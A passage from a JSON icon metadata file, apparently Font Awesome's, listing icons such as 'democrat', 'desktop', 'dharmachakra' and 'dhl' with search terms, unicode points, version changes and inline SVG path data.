        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z"
      }
    },
    "free": ["brands"]
  },
  "democrat": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f747"]
      }
    },
    "changes": ["5.5.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "american",
        "democratic party",
        "donkey",
        "election",
        "left",
        "left-wing",
        "liberal",
        "politics",
        "usa"
      ]
    },
    "styles": ["solid"],
    "unicode": "f747",
    "label": "Democrat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 32c0-8.9 3.8-20.9 6.2-27.3C71.2 1.8 74 0 77 0c1.9 0 3.8 .7 5.2 2.1L128 45.7 173.8 2.1C175.2 .7 177.1 0 179 0c3 0 5.8 1.8 6.8 4.7c2.4 6.5 6.2 18.4 6.2 27.3c0 26.5-21.9 42-29.5 46.6l76.2 72.6c6 5.7 13.9 8.8 22.1 8.8H480l32 0c40.3 0 78.2 19 102.4 51.2l19.2 25.6c10.6 14.1 7.7 34.2-6.4 44.8s-34.2 7.7-44.8-6.4l-19.2-25.6c-5.3-7-11.8-12.8-19.2-17V320H192l-40.4-94.3c-3.9-9.2-15.3-12.6-23.6-7l-42.1 28c-9.1 6.1-19.7 9.3-30.7 9.3h-2C23.9 256 0 232.1 0 202.7c0-12.1 4.1-23.8 11.7-33.3L87.6 74.6C78.1 67.4 64 53.2 64 32zM448 352h96v64 64c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32V416H288v64c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V416 352h96H448zM260.9 210.9c-.9-1.8-2.8-2.9-4.8-2.9s-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.3-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5zM368.1 208c-2 0-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.4-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5c-.9-1.8-2.8-2.9-4.8-2.9zm116.8 2.9c-.9-1.8-2.8-2.9-4.8-2.9s-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.4-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 32c0-8.9 3.8-20.9 6.2-27.3C71.2 1.8 74 0 77 0c1.9 0 3.8 .7 5.2 2.1L128 45.7 173.8 2.1C175.2 .7 177.1 0 179 0c3 0 5.8 1.8 6.8 4.7c2.4 6.5 6.2 18.4 6.2 27.3c0 26.5-21.9 42-29.5 46.6l76.2 72.6c6 5.7 13.9 8.8 22.1 8.8H480l32 0c40.3 0 78.2 19 102.4 51.2l19.2 25.6c10.6 14.1 7.7 34.2-6.4 44.8s-34.2 7.7-44.8-6.4l-19.2-25.6c-5.3-7-11.8-12.8-19.2-17V320H192l-40.4-94.3c-3.9-9.2-15.3-12.6-23.6-7l-42.1 28c-9.1 6.1-19.7 9.3-30.7 9.3h-2C23.9 256 0 232.1 0 202.7c0-12.1 4.1-23.8 11.7-33.3L87.6 74.6C78.1 67.4 64 53.2 64 32zM448 352h96v64 64c0 17.7-14.3 32-32 32H480c-17.7 0-32-14.3-32-32V416H288v64c0 17.7-14.3 32-32 32H224c-17.7 0-32-14.3-32-32V416 352h96H448zM260.9 210.9c-.9-1.8-2.8-2.9-4.8-2.9s-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.3-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5zM368.1 208c-2 0-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.4-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5c-.9-1.8-2.8-2.9-4.8-2.9zm116.8 2.9c-.9-1.8-2.8-2.9-4.8-2.9s-3.9 1.1-4.8 2.9l-10.5 20.5-23.5 3.3c-2 .3-3.7 1.6-4.3 3.5s-.1 3.9 1.3 5.3l17 16-4 22.6c-.3 1.9 .5 3.9 2.1 5s3.8 1.3 5.6 .4l21-10.7 21 10.7c1.8 .9 4 .8 5.6-.4s2.5-3.1 2.1-5l-4-22.6 17-16c1.5-1.4 2-3.4 1.4-5.3s-2.3-3.2-4.3-3.5l-23.5-3.3-10.5-20.5z"
      }
    },
    "free": ["solid"]
  },
  "deploydog": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f38e",
    "label": "deploy.dog",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z"
      }
    },
    "free": ["brands"]
  },
  "deskpro": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f38f",
    "label": "Deskpro",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z\"/></svg>",
        "viewBox": [0, 0, 480, 512],
        "width": 480,
        "height": 512,
        "path": "M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 62.8-95.2 69.4-8.7 1.1-32.8 1.2-50.7 1.1zm200.4-167.7c38.6 0 58.5-13.6 73.7-30.9l-175.5-.3-17.4 31.3 119.2-.1zm-43.6-223.9v168.3h-73.5l-32.7 55.5H250c-52.3 0-58.1-56.5-58.3-58.9-1.2-13.2-21.3-11.6-20.1 1.8 1.4 15.8 8.8 40 26.4 57.1h-91c-25.5 0-110.8-26.8-107-114V16.9C0 .9 9.7.3 15 .1h82c.2 0 .3.1.5.1 4.3-.4 50.1-2.1 50.1 43.7 0 13.3 20.2 13.4 20.2 0 0-18.2-5.5-32.8-15.8-43.7h84.2c108.7-.4 126.5 79.4 126.5 120.2zm-132.5 56l64 29.3c13.3-45.5-42.2-71.7-64-29.3z"
      }
    },
    "free": ["brands"]
  },
  "desktop": {
    "aliases": {
      "names": ["desktop-alt"],
      "unicodes": {
        "composite": ["1f5a5", "f108"],
        "primary": ["f108"],
        "secondary": ["10f108", "10f390"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "computer",
        "cpu",
        "demo",
        "desktop",
        "desktop computer",
        "device",
        "imac",
        "machine",
        "monitor",
        "pc",
        "screen"
      ]
    },
    "styles": ["solid"],
    "unicode": "f390",
    "label": "Desktop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64H240l-10.7 32H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H346.7L336 416H512c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM512 64V288H64V64H512z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V352c0 35.3 28.7 64 64 64H240l-10.7 32H160c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H346.7L336 416H512c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM512 64V288H64V64H512z"
      }
    },
    "free": ["solid"]
  },
  "dev": {
    "changes": ["5.4.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f6cc",
    "label": "DEV",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M120.12 208.29c-3.88-2.9-7.77-4.35-11.65-4.35H91.03v104.47h17.45c3.88 0 7.77-1.45 11.65-4.35 3.88-2.9 5.82-7.25 5.82-13.06v-69.65c-.01-5.8-1.96-10.16-5.83-13.06zM404.1 32H43.9C19.7 32 .06 51.59 0 75.8v360.4C.06 460.41 19.7 480 43.9 480h360.2c24.21 0 43.84-19.59 43.9-43.8V75.8c-.06-24.21-19.7-43.8-43.9-43.8zM154.2 291.19c0 18.81-11.61 47.31-48.36 47.25h-46.4V172.98h47.38c35.44 0 47.36 28.46 47.37 47.28l.01 70.93zm100.68-88.66H201.6v38.42h32.57v29.57H201.6v38.41h53.29v29.57h-62.18c-11.16.29-20.44-8.53-20.72-19.69V193.7c-.27-11.15 8.56-20.41 19.71-20.69h63.19l-.01 29.52zm103.64 115.29c-13.2 30.75-36.85 24.63-47.44 0l-38.53-144.8h32.57l29.71 113.72 29.57-113.72h32.58l-38.46 144.8z"
      }
    },
    "free": ["brands"]
  },
  "deviantart": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1bd",
    "label": "deviantART",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M320 93.2l-98.2 179.1 7.4 9.5H320v127.7H159.1l-13.5 9.2-43.7 84c-.3 0-8.6 8.6-9.2 9.2H0v-93.2l93.2-179.4-7.4-9.2H0V102.5h156l13.5-9.2 43.7-84c.3 0 8.6-8.6 9.2-9.2H320v93.1z"
      }
    },
    "free": ["brands"]
  },
  "dharmachakra": {
    "aliases": {
      "unicodes": {
        "composite": ["2638"],
        "secondary": ["10f655"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Buddhist",
        "buddhism",
        "buddhist",
        "dharma",
        "religion",
        "wheel",
        "wheel of dharma"
      ]
    },
    "styles": ["solid"],
    "unicode": "f655",
    "label": "Dharmachakra",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M337.8 205.7l48.6-42.5c13.8 19.3 23.4 41.9 27.4 66.2l-64.4 4.3c-2.4-10.1-6.4-19.5-11.6-28zm140.1 19.5c-5.3-38.8-20.6-74.5-43.2-104.3l.8-.7C449 108.4 449.7 87.6 437 75s-33.4-12-45.2 1.5l-.7 .8c-29.8-22.6-65.5-37.9-104.3-43.2l.1-1.1c1.2-17.9-13-33-30.9-33s-32.1 15.2-30.9 33l.1 1.1c-38.8 5.3-74.5 20.6-104.3 43.2l-.7-.8C108.4 63 87.6 62.3 75 75s-12 33.4 1.5 45.2l.8 .7c-22.6 29.8-37.9 65.5-43.2 104.3l-1.1-.1c-17.9-1.2-33 13-33 30.9s15.2 32.1 33 30.9l1.1-.1c5.3 38.8 20.6 74.5 43.2 104.3l-.8 .7C63 403.6 62.3 424.4 75 437s33.4 12 45.2-1.5l.7-.8c29.8 22.6 65.5 37.9 104.3 43.2l-.1 1.1c-1.2 17.9 13 33 30.9 33s32.1-15.2 30.9-33l-.1-1.1c38.8-5.3 74.5-20.6 104.3-43.2l.7 .8c11.8 13.5 32.5 14.2 45.2 1.5s12-33.4-1.5-45.2l-.8-.7c22.6-29.8 37.9-65.5 43.2-104.3l1.1 .1c17.9 1.2 33-13 33-30.9s-15.2-32.1-33-30.9l-1.1 .1zM163.2 125.6c19.3-13.8 41.9-23.4 66.2-27.5l4.3 64.4c-10 2.4-19.5 6.4-28 11.6l-42.5-48.6zm-65 103.8c4.1-24.4 13.7-46.9 27.5-66.2l48.6 42.5c-5.3 8.5-9.2 18-11.6 28l-64.4-4.3zm27.5 119.4c-13.8-19.3-23.4-41.9-27.5-66.2l64.4-4.3c2.4 10 6.4 19.5 11.6 28l-48.6 42.5zm103.8 65c-24.4-4.1-46.9-13.7-66.2-27.4l42.5-48.6c8.5 5.3 18 9.2 28 11.6l-4.3 64.4zm119.4-27.4c-19.3 13.8-41.9 23.4-66.2 27.4l-4.3-64.4c10-2.4 19.5-6.4 28-11.6l42.5 48.6zm65-103.8c-4.1 24.4-13.7 46.9-27.4 66.2l-48.6-42.5c5.3-8.5 9.2-18 11.6-28l64.4 4.3zm-65-156.9l-42.5 48.6c-8.5-5.3-18-9.2-28-11.6l4.3-64.4c24.4 4.1 46.9 13.7 66.2 27.5zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M337.8 205.7l48.6-42.5c13.8 19.3 23.4 41.9 27.4 66.2l-64.4 4.3c-2.4-10.1-6.4-19.5-11.6-28zm140.1 19.5c-5.3-38.8-20.6-74.5-43.2-104.3l.8-.7C449 108.4 449.7 87.6 437 75s-33.4-12-45.2 1.5l-.7 .8c-29.8-22.6-65.5-37.9-104.3-43.2l.1-1.1c1.2-17.9-13-33-30.9-33s-32.1 15.2-30.9 33l.1 1.1c-38.8 5.3-74.5 20.6-104.3 43.2l-.7-.8C108.4 63 87.6 62.3 75 75s-12 33.4 1.5 45.2l.8 .7c-22.6 29.8-37.9 65.5-43.2 104.3l-1.1-.1c-17.9-1.2-33 13-33 30.9s15.2 32.1 33 30.9l1.1-.1c5.3 38.8 20.6 74.5 43.2 104.3l-.8 .7C63 403.6 62.3 424.4 75 437s33.4 12 45.2-1.5l.7-.8c29.8 22.6 65.5 37.9 104.3 43.2l-.1 1.1c-1.2 17.9 13 33 30.9 33s32.1-15.2 30.9-33l-.1-1.1c38.8-5.3 74.5-20.6 104.3-43.2l.7 .8c11.8 13.5 32.5 14.2 45.2 1.5s12-33.4-1.5-45.2l-.8-.7c22.6-29.8 37.9-65.5 43.2-104.3l1.1 .1c17.9 1.2 33-13 33-30.9s-15.2-32.1-33-30.9l-1.1 .1zM163.2 125.6c19.3-13.8 41.9-23.4 66.2-27.5l4.3 64.4c-10 2.4-19.5 6.4-28 11.6l-42.5-48.6zm-65 103.8c4.1-24.4 13.7-46.9 27.5-66.2l48.6 42.5c-5.3 8.5-9.2 18-11.6 28l-64.4-4.3zm27.5 119.4c-13.8-19.3-23.4-41.9-27.5-66.2l64.4-4.3c2.4 10 6.4 19.5 11.6 28l-48.6 42.5zm103.8 65c-24.4-4.1-46.9-13.7-66.2-27.4l42.5-48.6c8.5 5.3 18 9.2 28 11.6l-4.3 64.4zm119.4-27.4c-19.3 13.8-41.9 23.4-66.2 27.4l-4.3-64.4c10-2.4 19.5-6.4 28-11.6l42.5 48.6zm65-103.8c-4.1 24.4-13.7 46.9-27.4 66.2l-48.6-42.5c5.3-8.5 9.2-18 11.6-28l64.4 4.3zm-65-156.9l-42.5 48.6c-8.5-5.3-18-9.2-28-11.6l4.3-64.4c24.4 4.1 46.9 13.7 66.2 27.5zM256 224a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "dhl": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["Dalsey", "Hillblom and Lynn", "german", "package", "shipping"]
    },
    "styles": ["brands"],
    "unicode": "f790",
    "label": "DHL",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M238 301.2h58.7L319 271h-58.7L238 301.2zM0 282.9v6.4h81.8l4.7-6.4H0zM172.9 271c-8.7 0-6-3.6-4.6-5.5 2.8-3.8 7.6-10.4 10.4-14.1 2.8-3.7 2.8-5.9-2.8-5.9h-51l-41.1 55.8h100.1c33.1 0 51.5-22.5 57.2-30.3h-68.2zm317.5-6.9l39.3-53.4h-62.2l-39.3 53.4h62.2zM95.3 271H0v6.4h90.6l4.7-6.4zm111-26.6c-2.8 3.8-7.5 10.4-10.3 14.2-1.4 2-4.1 5.5 4.6 5.5h45.6s7.3-10 13.5-18.4c8.4-11.4.7-35-29.2-35H112.6l-20.4 27.8h111.4c5.6 0 5.5 2.2 2.7 5.9zM0 301.2h73.1l4.7-6.4H0v6.4zm323 0h58.7L404 271h-58.7c-.1 0-22.3 30.2-22.3 30.2zm222 .1h95v-6.4h-90.3l-4.7 6.4zm22.3-30.3l-4.7 6.4H640V271h-72.7zm-13.5 18.3H640v-6.4h-81.5l-4.7 6.4zm-164.2-78.6l-22.5 30.6h-26.2l22.5-30.6h-58.7l-39.3 53.4H409l39.3-53.4h-58.7zm33.5 60.3s-4.3 5.9-6.4 8.7c-7.4 10-.9 21.6 23.2 21.6h94.3l22.3-30.3H423.1z"
      }
    },
    "free": ["brands"]
  },
  "diagram-next": {
    "changes": ["6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cells",
        "chart",
        "gantt",
        "row",
        "subtask",
        "successor",
        "table"
      ]
    },
    "styles": ["solid"],
    "unicode": "e476",
    "label": "Diagram Next",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M512 160c0 35.3-28.7 64-64 64H280v64h46.1c21.4 0 32.1 25.9 17 41L273 399c-9.4 9.4-24.6 9.4-33.9 0L169 329c-15.1-15.1-4.4-41 17-41H232V224H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64v64zM448 416V352H365.3l.4-.4c18.4-18.4 20.4-43.7 11-63.6l71.3 0c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64V352c0-35.3 28.7-64 64-64l71.3 0c-9.4 19.9-7.4 45.2 11 63.6l.4 .4H64v64H210.7l5.7 5.7c21.9 21.9 57.3 21.9 79.2 0l5.7-5.7H448z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M512 160c0 35.3-28.7 64-64 64H280v64h46.1c21.4 0 32.1 25.9 17 41L273 399c-9.4 9.4-24.6 9.4-33.9 0L169 329c-15.1-15.1-4.4-41 17-41H232V224H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64v64zM448 416V352H365.3l.4-.4c18.4-18.4 20.4-43.7 11-63.6l71.3 0c35.3 0 64 28.7 64 64v64c0 35.3-28.7 64-64 64L64 480c-35.3 0-64-28.7-64-64V352c0-35.3 28.7-64 64-64l71.3 0c-9.4 19.9-7.4 45.2 11 63.6l.4 .4H64v64H210.7l5.7 5.7c21.9 21.9 57.3 21.9 79.2 0l5.7-5.7H448z"
      }
    },
    "free": ["solid"]
  },
  "diagram-predecessor": {
    "changes": ["6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cells",
        "chart",
        "gantt",
        "predecessor",
        "previous",
        "row",
        "subtask",
        "table"
      ]
    },
    "styles": ["solid"],
    "unicode": "e477",
    "label": "Diagram Predecessor",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767208,
